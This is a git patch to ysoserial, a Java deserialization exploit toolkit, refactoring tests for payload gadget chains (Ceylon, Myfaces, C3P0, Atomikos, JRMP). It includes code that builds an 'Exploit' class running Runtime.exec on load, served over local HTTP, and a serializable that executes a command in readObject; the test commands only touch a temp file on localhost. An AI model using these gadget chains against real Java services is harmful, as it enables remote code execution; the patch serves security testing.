From 16cf78837e8d9f19f760df0186a5c104d1dffb42 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Thu, 19 May 2022 23:36:20 -0700 Subject: [PATCH] test fixes --- src/main/java/ysoserial/payloads/Ceylon.java | 7 +- .../java/ysoserial/payloads/Myfaces1.java | 7 +- .../test/payloads/CommandExecTest.java | 2 +- .../test/payloads/JRMPListenerTest.java | 26 +++---- .../payloads/JRMPReverseConnectSMTest.java | 3 +- .../test/payloads/JRMPReverseConnectTest.java | 5 ++ .../ysoserial/test/payloads/MyfacesTest.java | 70 ++++++++++--------- .../ysoserial/test/payloads/PayloadsTest.java | 28 ++++---- .../test/payloads/RemoteClassLoadingTest.java | 21 +++--- .../test/payloads/TestHarnessTest.java | 32 ++++++++- .../java/ysoserial/test/util/Callables.java | 34 --------- src/test/java/ysoserial/test/util/Files.java | 6 ++ .../test/util/ObjectInputFilters.java | 13 +++- 13 files changed, 138 insertions(+), 116 deletions(-) delete mode 100644 src/test/java/ysoserial/test/util/Callables.java diff --git a/src/main/java/ysoserial/payloads/Ceylon.java b/src/main/java/ysoserial/payloads/Ceylon.java index f4edfde..89d8c7c 100644 --- a/src/main/java/ysoserial/payloads/Ceylon.java +++ b/src/main/java/ysoserial/payloads/Ceylon.java @@ -5,6 +5,7 @@ import com.redhat.ceylon.compiler.java.language.SerializationProxy; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; @Authors({ Authors.KULLRICH }) @Dependencies({ "org.ceylon-lang:ceylon.language:1.3.3" }) @@ -13,11 +14,15 @@ public class Ceylon implements ObjectPayload // // Probably the simplest deser gadget ever ;-) - // + // @Override public Object getObject(String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); return new SerializationProxy (templates, templates.getClass(), "getOutputProperties"); } + + public static void main(String[] args) throws Exception { + PayloadRunner.run(Ceylon.class, args); + } } diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java index e8c4898..5c20423 100644 --- a/src/main/java/ysoserial/payloads/Myfaces1.java +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -5,6 +5,7 @@ package ysoserial.payloads; import javax.el.ELContext; import javax.el.ExpressionFactory; import javax.el.ValueExpression; +import javax.faces.context.FacesContext; import javax.servlet.ServletContext; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; @@ -55,6 +56,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.mortbay.jasper:apache-el:8.0.27", "javax.servlet:javax.servlet-api:3.1.0", + "com.nqzero:permit-reflect:0.3", // FIXME for custom deserializer // deps for mocking the FacesContext "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" @@ -64,6 +66,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", "javax.servlet:javax.servlet-api:3.1.0", + "com.nqzero:permit-reflect:0.3", // FIXME for custom deserializer // deps for mocking the FacesContext "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" @@ -76,6 +79,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); @@ -89,6 +93,7 @@ public class Myfaces1 implements ObjectPayload, DynamicDependencies { public static void main ( final String[] args ) throws Exception { - PayloadRunner.run(Myfaces1.class, args); + FacesContext.getCurrentInstance(); + Object deserialized = PayloadRunner.run(Myfaces1.class, new String[] { "${\"\".getClass()}" }); } } diff --git a/src/test/java/ysoserial/test/payloads/CommandExecTest.java b/src/test/java/ysoserial/test/payloads/CommandExecTest.java index 7182bd2..98786ee 100644 --- a/src/test/java/ysoserial/test/payloads/CommandExecTest.java +++ b/src/test/java/ysoserial/test/payloads/CommandExecTest.java @@ -10,7 +10,7 @@ import java.util.UUID; import java.util.concurrent.Callable; public class CommandExecTest implements CustomTest { - private final File testFile = + protected final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", "")); @Override diff --git a/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java b/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java index 6f5aaaf..9c3587e 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPListenerTest.java @@ -1,13 +1,11 @@ package ysoserial.test.payloads; import org.junit.Assert; - import sun.rmi.transport.ObjectTable; -import ysoserial.Strings; +import sun.rmi.transport.ObjectTable; import ysoserial.exploit.JRMPClient; import ysoserial.payloads.JRMPListener; import ysoserial.test.CustomTest; import ysoserial.test.util.Files; -import ysoserial.test.util.OS; import ysoserial.test.util.ObjectInputFilters; import java.io.File; @@ -16,14 +14,16 @@ import java.util.Random; import java.util.concurrent.Callable; public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { - private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID()); + private final File testFile = Files.getTestFile(); + private final int port = 16000 + new Random().nextInt(16000); @Override public void run(Callable payload) throws Exception { + System.out.println(testFile); Assert.assertFalse("test file shouldn't exist", testFile.exists()); -// ObjectInputFilters.disableDcgFilter(); + ObjectInputFilters.disableDcgFilter(); // open listener Remote res = (Remote) payload.call(); @@ -32,9 +32,10 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { // send payload JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString()))); - Files.waitForFile(testFile, 5000); + Files.waitForFile(testFile, 1000); Assert.assertTrue("test file should exist", testFile.exists()); + System.out.println("passed"); } finally { // close listener // TODO move to postDeserRelease @@ -52,17 +53,8 @@ public class JRMPListenerTest implements CustomTest, NeedsAddlClasses { } public Class[] getAddlClasses() { - return new Class[] { TestHarnessTest.ExecMockSerializable.class }; - } - - public static Class loadFirstClass(String ... classNames) { - for (String className : classNames) { - try { - Class clazz = Class.forName(className); - return clazz; - } catch (Exception e) {} - } - return null; + // not applicable because of unconfigurable DGC native classloader + return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ }; } } diff --git a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java index f8846ae..95354fa 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java @@ -17,8 +17,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements private int jrmpPort; - public JRMPReverseConnectSMTest (String command) { - super(command); + public JRMPReverseConnectSMTest () { // some payloads cannot specify the port jrmpPort = 1099; } diff --git a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java index ef9ec5f..3e7a04a 100644 --- a/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java @@ -7,6 +7,7 @@ import javax.management.BadAttributeValueExpException; import org.junit.Assert; +import ysoserial.payloads.Atomikos; import ysoserial.test.CustomTest; import ysoserial.exploit.JRMPListener; @@ -54,4 +55,8 @@ public class JRMPReverseConnectTest implements CustomTest { return "rmi://localhost:" + port + "/ExportObject"; } + + public static void main(String[] args) throws Exception { + PayloadsTest.testPayload(Atomikos.class); + } } diff --git a/src/test/java/ysoserial/test/payloads/MyfacesTest.java b/src/test/java/ysoserial/test/payloads/MyfacesTest.java index db321e4..86a450c 100644 --- a/src/test/java/ysoserial/test/payloads/MyfacesTest.java +++ b/src/test/java/ysoserial/test/payloads/MyfacesTest.java @@ -7,6 +7,7 @@ import java.net.URL; import java.util.HashMap; import java.util.Iterator; import java.util.Map; +import java.util.concurrent.Callable; import javax.el.BeanELResolver; import javax.el.ELContext; @@ -16,6 +17,7 @@ import javax.faces.context.FacesContext; import javax.servlet.ServletContext; import javax.servlet.ServletRequest; +import com.nqzero.permit.Permit; import org.apache.myfaces.el.CompositeELResolver; import org.apache.myfaces.el.unified.FacesELContext; import org.mockito.Matchers; @@ -23,9 +25,11 @@ import org.mockito.Mockito; import org.mockito.invocation.InvocationOnMock; import org.mockito.stubbing.Answer; +import ysoserial.payloads.Myfaces2; import ysoserial.payloads.util.Reflections; import ysoserial.test.CustomDeserializer; import ysoserial.Deserializer; +import ysoserial.test.WrappedTest; /** @@ -34,31 +38,49 @@ import ysoserial.Deserializer; */ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { - - public MyfacesTest ( String command ) { - super(command); - } - - - + // FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader) public Class getCustomDeserializer () { return MyfacesDeserializer.class; } + /** * need to use a custom deserializer so that the faces context gets set in the isolated class * * @author mbechler * */ - public static final class MyfacesDeserializer extends Deserializer { + public static final class MyfacesDeserializer extends Deserializer { public static Class[] getExtraDependencies () { return new Class[] { - MockRequestContext.class, MockELResolver.class + MockRequestContext.class, MockELResolver.class, Reflections.class, Permit.class }; } + public MyfacesDeserializer ( byte[] bytes ) { + super(bytes); + } + + + @Override + public Object call () throws Exception { + java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); + Reflections.setAccessible(setFC); + ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); + Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); + FacesContext ctx = createMockFacesContext(); + try { + setFC.invoke(null, ctx); + return super.call(); + } + finally { + setFC.invoke(null, (FacesContext) null); + Thread.currentThread().setContextClassLoader(oldTCCL); + } + } + + private static class MockRequestContext implements Answer { private Map attributes = new HashMap(); @@ -135,29 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria } - public MyfacesDeserializer ( byte[] bytes ) { - super(bytes); - } - - - @Override - public Object call () throws Exception { - java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class); - Reflections.setAccessible(setFC); - ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader(); - Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader()); - FacesContext ctx = createMockFacesContext(); - try { - setFC.invoke(null, ctx); - return super.call(); - } - finally { - setFC.invoke(null, (FacesContext) null); - Thread.currentThread().setContextClassLoader(oldTCCL); - } - } - - private static FacesContext createMockFacesContext () throws MalformedURLException { FacesContext ctx = Mockito.mock(FacesContext.class); CompositeELResolver cer = new CompositeELResolver(); @@ -176,6 +175,13 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria Mockito.when(ctx.getELContext()).thenReturn(elc); return ctx; } + } + + + + public static void main(String[] args) throws Exception { + PayloadsTest.testPayload(Myfaces2.class); + } } diff --git a/src/test/java/ysoserial/test/payloads/PayloadsTest.java b/src/test/java/ysoserial/test/payloads/PayloadsTest.java index ca0cc7d..e9a72d5 100644 --- a/src/test/java/ysoserial/test/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/test/payloads/PayloadsTest.java @@ -20,6 +20,7 @@ import org.junit.runners.Parameterized; import org.junit.runners.Parameterized.Parameters; import ysoserial.*; +import ysoserial.payloads.Atomikos; import ysoserial.payloads.DynamicDependencies; import ysoserial.payloads.ObjectPayload; import ysoserial.test.CustomTest; @@ -64,6 +65,10 @@ public class PayloadsTest { this.payloadClass = payloadClass; } + public static void testPayload(Class> payloadClass) throws Exception { + testPayload(payloadClass, new Class[0]); + } + @Test public void testPayload () throws Exception { @@ -133,20 +138,19 @@ public class PayloadsTest { callable = ( (WrappedTest) testHarness ).createCallable(callable); } - if (testHarness instanceof CustomTest) { - // if marked as flaky try up to 5 times - Exception ex = new Exception(); - for (int i = 0; i < tries; i++) { - try { - ((CustomTest) testHarness).run(callable); - ex = null; - break; - } catch (Exception e) { - ex = e; - } + + // if marked as flaky try up to 5 times + Exception ex = new Exception(); + for (int i = 0; i < tries; i++) { + try { + ((CustomTest) testHarness).run(callable); + ex = null; + break; + } catch (Exception e) { + ex = e; } - if (ex != null) throw ex; } + if (ex != null) throw ex; } private static boolean isForceTests() { diff --git a/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java index 8dd1604..30b5736 100644 --- a/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/test/payloads/RemoteClassLoadingTest.java @@ -12,6 +12,8 @@ import fi.iki.elonen.NanoHTTPD.Response.Status; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; +import ysoserial.payloads.C3P0; +import ysoserial.test.CustomTest; import ysoserial.test.WrappedTest; @@ -19,17 +21,10 @@ import ysoserial.test.WrappedTest; * @author mbechler * */ -public class RemoteClassLoadingTest implements WrappedTest { +public class RemoteClassLoadingTest extends CommandExecTest implements WrappedTest, CustomTest { - int port; - private String command; - private String className; - - public RemoteClassLoadingTest ( String command ) { - this.command = command; - this.port = new Random().nextInt(65535-1024)+1024; - this.className = "Exploit-" + System.currentTimeMillis(); - } + private int port = new Random().nextInt(65535-1024)+1024; + private String className = "Exploit-" + System.currentTimeMillis(); public String getPayloadArgs () { @@ -54,7 +49,7 @@ public class RemoteClassLoadingTest implements WrappedTest { pool.insertClassPath(new ClassClassPath(Exploit.class)); final CtClass clazz = pool.get(Exploit.class.getName()); clazz.setName(this.className); - clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + getTouchCmd(testFile.toString()).replace("\\", "\\\\").replace("\"", "\\\"") + "\");"); return clazz.toBytecode(); } catch ( Exception e ) { @@ -122,6 +117,10 @@ public class RemoteClassLoadingTest implements WrappedTest { } + public static void main(String[] args) throws Exception { + PayloadsTest.testPayload(C3P0.class); + } + public static class Exploit implements Serializable { diff --git a/src/test/java/ysoserial/test/payloads/TestHarnessTest.java b/src/test/java/ysoserial/test/payloads/TestHarnessTest.java index 7a5be42..53c5d30 100755 --- a/src/test/java/ysoserial/test/payloads/TestHarnessTest.java +++ b/src/test/java/ysoserial/test/payloads/TestHarnessTest.java @@ -1,12 +1,12 @@ package ysoserial.test.payloads; -import java.io.IOException; -import java.io.ObjectInputStream; -import java.io.Serializable; +import java.io.*; +import java.util.Arrays; import org.hamcrest.CoreMatchers; import org.junit.Assert; import org.junit.Test; +import ysoserial.Strings; import ysoserial.payloads.ObjectPayload; public class TestHarnessTest { @@ -53,10 +53,20 @@ public class TestHarnessTest { @SuppressWarnings("serial") public static class ExecMockSerializable implements Serializable { +// static { +// try { +// printLoad(ExecMockSerializable.class); +// printStackTrace(); +// } catch (Throwable e) { +// e.printStackTrace(); +// } +// } private final String cmd; public ExecMockSerializable(String cmd) { this.cmd = cmd; } private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException { +// printStackTrace(); +// printLoad(ExecMockSerializable.class); ois.defaultReadObject(); try { Runtime.getRuntime().exec(cmd); @@ -65,4 +75,20 @@ public class TestHarnessTest { } } } + + public static void printStackTrace() { + StringWriter sw = new StringWriter(); + new Throwable().printStackTrace(new PrintWriter(sw)); + String st = sw.toString(); + String[] lines = st.split("\n"); + lines[0] = "Stack Trace:"; + for (int i = 0; i < lines.length; i++) { + lines[i] = "[" + Thread.currentThread().getName() + "] " + lines[i]; + } + System.out.println(Strings.join(Arrays.asList(lines), "\n", null, null)); + } + + public static void printLoad(Class clazz) { + System.out.println("[" + Thread.currentThread().getName() + "] " + "Loaded " + clazz + "@" + System.identityHashCode(clazz) + " from " + clazz.getClassLoader() + " with parent " + clazz.getClassLoader().getParent()); + } } diff --git a/src/test/java/ysoserial/test/util/Callables.java b/src/test/java/ysoserial/test/util/Callables.java deleted file mode 100644 index 8ea73e2..0000000 --- a/src/test/java/ysoserial/test/util/Callables.java +++ /dev/null @@ -1,34 +0,0 @@ -package ysoserial.test.util; - -import java.util.concurrent.Callable; - -public class Callables { - public static interface BeforeAfterCallback { - public void before(); - public void after(); - } - - public static class Wrapper implements Callable { - private final Callable callable; - private final BeforeAfterCallback callback; - - public Wrapper(Callable callable, BeforeAfterCallback callback) { - this.callable = callable; - this.callback = callback; - } - - @Override - public T call() throws Exception { - try { - callback.before(); - return callable.call(); - } finally { - callback.after(); - } - } - } - - public static Callable wrap(Callable callable, BeforeAfterCallback callback) { - return new Wrapper(callable, callback); - } -} diff --git a/src/test/java/ysoserial/test/util/Files.java b/src/test/java/ysoserial/test/util/Files.java index 7bbe67e..8e4e4c6 100644 --- a/src/test/java/ysoserial/test/util/Files.java +++ b/src/test/java/ysoserial/test/util/Files.java @@ -1,5 +1,7 @@ package ysoserial.test.util; +import ysoserial.Strings; + import java.io.File; import java.io.PrintWriter; @@ -20,4 +22,8 @@ public class Files { e.printStackTrace(); } } + + public static File getTestFile() { + return new File(OS.getTmpDir(), "ysoserial-test-" + Strings.randUUID()); + } } diff --git a/src/test/java/ysoserial/test/util/ObjectInputFilters.java b/src/test/java/ysoserial/test/util/ObjectInputFilters.java index 2706ac5..2cee84c 100644 --- a/src/test/java/ysoserial/test/util/ObjectInputFilters.java +++ b/src/test/java/ysoserial/test/util/ObjectInputFilters.java @@ -2,7 +2,6 @@ package ysoserial.test.util; import ysoserial.payloads.JRMPListener; import ysoserial.payloads.util.Reflections; -import ysoserial.test.payloads.JRMPListenerTest; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; @@ -11,7 +10,7 @@ import java.lang.reflect.Proxy; public class ObjectInputFilters { public static Object getAllowFilter() throws Exception { - final Class filterClass = JRMPListenerTest.loadFirstClass( + final Class filterClass = loadFirstClass( "java.io.ObjectInputFilter", "sun.misc.ObjectInputFilter"); if (filterClass == null) { return null; @@ -44,4 +43,14 @@ public class ObjectInputFilters { } } } + + public static Class loadFirstClass(String ... classNames) { + for (String className : classNames) { + try { + Class clazz = Class.forName(className); + return clazz; + } catch (Exception e) {} + } + return null; + } }